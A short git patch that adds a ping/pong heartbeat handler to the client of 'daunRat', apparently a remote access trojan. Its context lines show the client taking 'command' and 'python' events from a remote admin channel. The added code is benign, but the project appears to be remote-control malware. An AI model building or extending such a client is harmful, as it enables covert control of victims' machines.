From 5fc74325ff6615c8ebc3e14bafdebfb730228e12 Mon Sep 17 00:00:00 2001 From: BarsTiger Date: Sat, 14 May 2022 11:55:49 +0300 Subject: [PATCH] added ping to daunRat --- client/daunRat.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/client/daunRat.py b/client/daunRat.py index 0cb6207..d280358 100644 --- a/client/daunRat.py +++ b/client/daunRat.py @@ -49,6 +49,11 @@ def on_python(data): print(python_logs) +def ping(data): + print("Triggered ping") + client.trigger('client-' + str(client_id), 'ping', 'pong') + + def handle_connection_to_server(connection): global client_id print("Connected to server") @@ -60,6 +65,7 @@ def handle_connection_to_server(connection): channel = receiver.subscribe('admin-' + client_id) print("Client id: " + client_id) channel.bind('connection_from_admin', lambda _: print("Connection from admin")) + channel.bind('ping', ping) channel.bind('command', on_command) channel.bind('python', on_python)